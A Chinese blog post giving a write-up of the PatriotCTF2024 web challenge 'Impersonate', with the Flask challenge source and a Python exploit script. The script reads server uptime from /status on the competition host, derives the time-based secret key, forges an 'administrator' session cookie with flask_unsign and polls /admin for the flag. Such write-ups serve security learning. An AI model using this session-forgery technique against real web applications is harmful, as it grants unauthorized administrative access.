首页 > 其他分享 >PatriotCTF2024 Web Impersonate

PatriotCTF2024 Web Impersonate

时间:2024-10-09 11:49:52浏览次数:1  
标签:username Web admin PatriotCTF2024 server start Impersonate str time

源码:

#!/usr/bin/env python3
from flask import Flask, request, render_template, jsonify, abort, redirect, session
import uuid
import os
from datetime import datetime, timedelta
import hashlib
app = Flask(__name__)
server_start_time = datetime.now()
server_start_str = server_start_time.strftime('%Y%m%d%H%M%S')
secure_key = hashlib.sha256(f'secret_key_{server_start_str}'.encode()).hexdigest()
app.secret_key = secure_key
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(seconds=300)
flag = os.environ.get('FLAG', "flag{this_is_a_fake_flag}")
secret = uuid.UUID('31333337-1337-1337-1337-133713371337')



def is_safe_username(username):
    """Check if the username is alphanumeric and less than 20 characters."""
    return username.isalnum() and len(username) < 20



@app.route('/', methods=['GET', 'POST'])
def main():
    """Handle the main page where the user submits their username."""
    if request.method == 'GET':
        return render_template('index.html')
    elif request.method == 'POST':
        username = request.values['username']
        password = request.values['password']
        if not is_safe_username(username):
            return render_template('index.html', error='Invalid username')
        if not password:
            return render_template('index.html', error='Invalid password')
        if username.lower().startswith('admin'):
            return render_template('index.html', error='Don\'t try to impersonate administrator!')
        if not username or not password:
            return render_template('index.html', error='Invalid username or password')
        uid = uuid.uuid5(secret, username)
        session['username'] = username
        session['uid'] = str(uid)
        return redirect(f'/user/{uid}')
    


@app.route('/user/<uid>')
def user_page(uid):
    """Display the user's session page based on their UUID."""
    try:
        uid = uuid.UUID(uid)
    except ValueError:
        abort(404)
    session['is_admin'] = False
    return 'Welcome Guest! Sadly, you are not admin and cannot view the flag.'
@app.route('/admin')
def admin_page():
    """Display the admin page if the user is an admin."""
    if session.get('is_admin') and uuid.uuid5(secret, 'administrator') and session.get('username') == 'administrator':
        return flag
    else:
        abort(401)



@app.route('/status')
def status():
    current_time = datetime.now()
    uptime = current_time - server_start_time
    formatted_uptime = str(uptime).split('.')[0]
    formatted_current_time = current_time.strftime('%Y-%m-%d %H:%M:%S')
    status_content = f"""Server uptime: {formatted_uptime}<br>
    Server time: {formatted_current_time}
    """
    return status_content

定位到/admin这几行:

@app.route('/admin')
def admin_page():
    """Display the admin page if the user is an admin."""
    if session.get('is_admin') and uuid.uuid5(secret, 'administrator') and session.get('username') == 'administrator':
        return flag
    else:
        abort(401)

需要伪造session,uuid.uuid5(secret, 'administrator')恒为True,不用管,找到key:

server_start_time = datetime.now()
server_start_str = server_start_time.strftime('%Y%m%d%H%M%S')
secure_key = hashlib.sha256(f'secret_key_{server_start_str}'.encode()).hexdigest()
app.secret_key = secure_key

key是服务器启动时间,在/status下会展示已启动时间和服务器目前时间:

@app.route('/status')
def status():
    current_time = datetime.now()
    uptime = current_time - server_start_time
    formatted_uptime = str(uptime).split('.')[0]
    formatted_current_time = current_time.strftime('%Y-%m-%d %H:%M:%S')
    status_content = f"""Server uptime: {formatted_uptime}<br>
    Server time: {formatted_current_time}
    """
    return status_content

所以通过计算key就能伪造session,exp:

from datetime import datetime
from flask_unsign import sign
import hashlib
import requests

url = "http://chal.competitivecyber.club:9999/status"
x = requests.get("http://chal.competitivecyber.club:9999/status")

# 获取现在服务器时间
index_server_time = x.text.find("Server time:") + 13
server_time_str = x.text[index_server_time: ]
server_time = datetime(int( server_time_str[0: 4] ), int( server_time_str[5: 7] ), int (server_time_str[8: 10]), int (server_time_str[11: 13]), int (server_time_str[14: 16]), int (server_time_str[17: 19]))

# 获取服务器已运行时间
index_up_time = x.text.find("Server uptime:") +15
up_time_str = x.text[index_up_time: index_server_time - 22]
up_time = datetime(int( server_time_str[0: 4] ), int( server_time_str[5: 7] ), int (server_time_str[8: 10]), int (up_time_str[0: 1]), int (up_time_str[2: 4]), int (up_time_str[5: ]))

# 计算key
server_start_time_str = str(server_time - up_time)
server_start_time = datetime(2024, 9, 25, int (server_start_time_str[0: 2]), int (server_start_time_str[3: 5]), int (server_start_time_str[6: 8]))
key  = hashlib.sha256(f'secret_key_{server_start_time.strftime('%Y%m%d%H%M%S')}'.encode()).hexdigest()

# 生成session
session = sign({'is_admin': True, 'username': 'administrator'}, key.encode())


while True:
    text = requests.get("http://chal.competitivecyber.club:9999/admin", cookies={"session": session})
    if text.status_code == 200:
        print(text.text)
        break
    else:
        continue

标签:username,Web,admin,PatriotCTF2024,server,start,Impersonate,str,time
From: https://www.cnblogs.com/bfa-hawk/p/18453919

相关文章

  • springboot+vue基于WEB的在线阅读系统【开题+程序+论文】
    系统程序文件列表开题报告内容研究背景随着互联网技术的飞速发展,数字化阅读已成为现代人获取信息、学习知识和休闲娱乐的重要方式。传统的纸质书籍阅读方式虽然具有其独特的魅力,但在便捷性、即时性和资源共享性方面已难以满足现代人的需求。因此,开发一个基于WEB的在线阅读......
  • Auto-Animate:是一款零配置、即插即用的动画工具,可以为您的 Web 应用添加流畅的过渡效
    嗨,大家好,我是小华同学,关注我们获得“最新、最全、最优质”开源项目和高效工作学习方法用户体验成为了检验产品成功与否的关键因素。而动画效果,作为提升用户体验的重要手段,在网页和应用开发中扮演着举足轻重的角色。今天,就让我们一起来探索一款名为Auto-Animate的动画工具,它......
  • 基于数据可视化+Javaweb实现的物流管理系统设计与实现(源码+数据库+论文+部署+文档+讲
    文章目录前言系统演示录像论文参考代码运行展示图技术框架SpringBoot技术介绍系统测试系统测试的目的系统功能测试推荐选题:代码参考实现案例找我做程序,有什么保障?联系我们前言......
  • springboot+vue【开题+程序+论文】基于javaweb的校友管理系统
    系统程序文件列表开题报告内容研究背景随着信息技术的迅猛发展和互联网的广泛普及,校友管理成为了各高校和校友会工作的重要组成部分。传统的校友管理方式,如纸质档案、电话沟通、邮件联络等,已难以满足当前高效、便捷、互动的管理需求。特别是在全球范围内,校友分布广泛,信息更......
  • SpringBootWeb登录认证
    SpringBootWeb登录认证基础登录功能思路代码实现测试前后端联调登录校验会话跟踪方案JWT令牌生成校验登录后下发令牌代码测试过滤器快速入门执行流程拦截路径过滤器链登录校验Filter流程代码Interceptor快速入门拦截路径执行流程登录校验Interceptor......
  • JavaWeb婚恋交友服务系统
    本系统采用Eclipse2022作为开发工具,MySql8.0作为数据库,并运用Java编程语言和Web、JavaScript、Vue、Html5+Css3等技术搭建B/S架构的网站。它包括两个主要功能模块:前台和后台。前台模块实现了用户注册登录、个人信息管理、发布个人信息、留言、报名线下活动、支付活动费用、......
  • C# WebService返回参数为DataTable报错“XML文档有错误”
    该问题由于DataTable列存在自定义类型。解决该报错需要以下几步:1、自定义类型增加xml序列化2、由于C#从XML反序列化DataSet或DataTable时的默认限制,所以需要先把调用方的项目开放限制,如果是.netframework项目,需要在app.config中添加<configuration><runtime>......
  • 组态也能开发WEB前端 | uiotos致敬amis、nodered、appsmith、codewave、goview、datar
    WEB组态开发SCADA、HMI画面、大屏可视化,还比较常见。比如下面: UIOTOS组态示例那么常规WEB前端功能,组态能否一并做了呢?比如下面这种: UIOTOS前端示例答案是可以的!UIOTOS支持页面无限嵌套,能实现原型即应用。现在就以一个具体小示例介绍如何实现的。效果如下所示,初......
  • 528.大气的家具定制设计公司网站 大学生期末大作业 Web前端网页制作 html+css+js
    目录一、网页概述二、网页文件 三、网页效果四、代码展示1.html2.CSS3.JS五、总结1.简洁实用2.使用方便3.整体性好4.形象突出5.交互式强六、更多推荐欢迎光临仙女的网页世界!这里有各行各业的Web前端网页制作的案例,样式齐全新颖,并持续更新!感谢CSDN,提供了这......
  • Webpack 初始化
    1、初始化npm项目npminit-y得到package.json2、安装webpack,webpack-cli相关npminstallwebpackwebpack-cli--devnode_modules.bin目录有webpack相关 即可通过npm运行webpack命令如:npmwebpack--version 可直接执行webpack命令进行打包也可这么着: ......